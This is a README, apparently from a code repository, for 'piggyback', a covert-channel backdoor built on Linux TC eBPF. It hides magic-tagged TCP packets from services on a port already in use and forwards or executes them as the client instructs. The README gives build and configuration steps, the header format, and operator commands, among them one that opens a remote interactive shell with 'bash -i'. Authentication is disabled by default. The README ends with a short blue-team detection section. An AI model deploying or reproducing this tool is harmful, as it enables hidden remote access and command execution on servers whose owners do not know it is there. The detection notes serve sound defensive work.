piggyback/README.md
Dominik Roth 50c9b4df35 piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison.
piggyback.c — no FWD_HOST, FWD_PORT, or SERVER_IP constants. Daemon auto-detects interface and its own IP from
  getifaddrs. Forward target comes from the client packet always. Config is just IFACE, LISTEN_PORT, AUTH_ENABLED,
  TRUSTED_PUBKEY.

  pb-client.c — CLI flags as you wanted. Always sends the 80-byte header (action + target). Without --key: timestamp=0,
   sig=zeros, daemon in no-auth mode reads action+target and skips verification. With --key: full signed header.

  README.md — SNI note fixed: "must match middleware virtual host config" — it's whatever the middleware requires, the
  operator looks it up. Removed all the wrong advice about changing it.
2026-04-04 18:13:10 +02:00

5.1 KiB

piggyback

Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, forwards or executes per the client's instruction. Normal traffic is unaffected. Zero changes to existing services.

Mode 1 — Plain TCP
  Client                        Server (:80)
    │── TCP packet ────────────→ TC eBPF ingress
    │   [MAGIC][header]          magic match?
    │                              YES → TC_ACT_STOLEN → daemon
    │                              NO  → TC_ACT_OK → app (nginx etc.)

Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
  Client              Middleware (:443)       Server (:80)
    │── valid TLS ──→ │                         │
    │   [MAGIC]       │── [MAGIC][header] ─────→ TC eBPF ingress
    │   inside        │   (inner bytes fwd)     → same as Mode 1

Mode 2 is identical server-side. Client sends a real TLS handshake toward middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works. Middleware decrypts and forwards inner bytes to the plain TCP backend.


Requirements

  • Linux 5.8+ (ring buffer + sk_lookup)
  • Root / CAP_NET_ADMIN + CAP_BPF
  • libbpf, clang, llvm, bpftool, libsodium, libssl
# Fedora
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
# Debian/Ubuntu
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev

Configuration

Only two files need editing before compiling. Port must match in both.

piggyback.bpf.c

#define LISTEN_PORT 80   // port to intercept
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"  // keep in sync with pb-client.c

piggyback.c

#define IFACE        ""    // "" = auto-detect default-route interface
#define LISTEN_PORT  80    // must match piggyback.bpf.c
#define AUTH_ENABLED 0     // 1 = require Ed25519 signature
#define TRUSTED_PUBKEY { 0xAB, ... }  // 32-byte pubkey from `make keygen`

Forward target, action, and target port are not configured in the daemon — they come from the client packet. The daemon has no idea where to forward until a client tells it.


Build

make

Generate Ed25519 keypair (for authenticated mode)

make keygen
# Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key  → pass to pb-client with --key (never copy to target)

Usage

Server (target machine)

sudo ./piggyback

Client (operator machine)

# Mode 1 — plain TCP, no auth, forward to sshd
./pb-client 1.2.3.4 80 2222

# Mode 2 — through TLS middleware (SNI must match middleware routing)
./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com

# With auth — forward to custom target
./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389

# Shell execution
./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i'

# Then connect
ssh -p 2222 user@localhost

Full client options:

./pb-client <server_ip> <server_port> <local_port> [options]

  --mode tcp|tls        connection mode (default: tcp)
  --sni <hostname>      SNI for TLS — must match middleware virtual host config
  --key <path>          Ed25519 private key PEM (enables auth)
  --action forward|shell  (default: forward)
  --target <ip:port>    forward target on server side (default: 127.0.0.1:22)
  --cmd <command>       shell command for --action shell (default: bash)
  -v                    verbose

Auth flow (AUTH_ENABLED=1)

  1. make keygen — generate Ed25519 keypair
  2. Set TRUSTED_PUBKEY + AUTH_ENABLED=1 in piggyback.c, recompile daemon
  3. Pass --key engagement.key to pb-client (key stays on operator machine)
  4. Client sends: MAGIC (6) + 80-byte signed header
  5. Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring
  6. On pass: executes action from header
  7. On fail: connection dropped silently

Signed header format (80 bytes after MAGIC):

[0..7]   unix timestamp, big-endian uint64
[8]      action (0x01=forward, 0x02=shell)
[9..12]  target IPv4
[13..14] target port big-endian
[15]     reserved
[16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes)

Without --key: header still sent but timestamp=0 and sig=zeros. Daemon in no-auth mode reads action+target and skips signature verification.


Detection (Blue Team)

tc filter show dev eth0 ingress   # TC eBPF filters
bpftool prog list                  # all loaded eBPF programs
bpftool map list                   # eBPF maps (conn_state, pending, daemon_sock)

Baseline bpftool prog list on clean systems. Alert on new TC ingress programs on internet-facing interfaces.


Known Limitations

  • ACTION_FORWARD target is IPv4 only — header has 4 bytes for target IP
  • Replay ring is size-bounded — 256 entries, evicted by overwrite not expiry
  • sk_lookup may fail on some kernels — daemon logs a warning and falls back (works everywhere except strict NAT scenarios)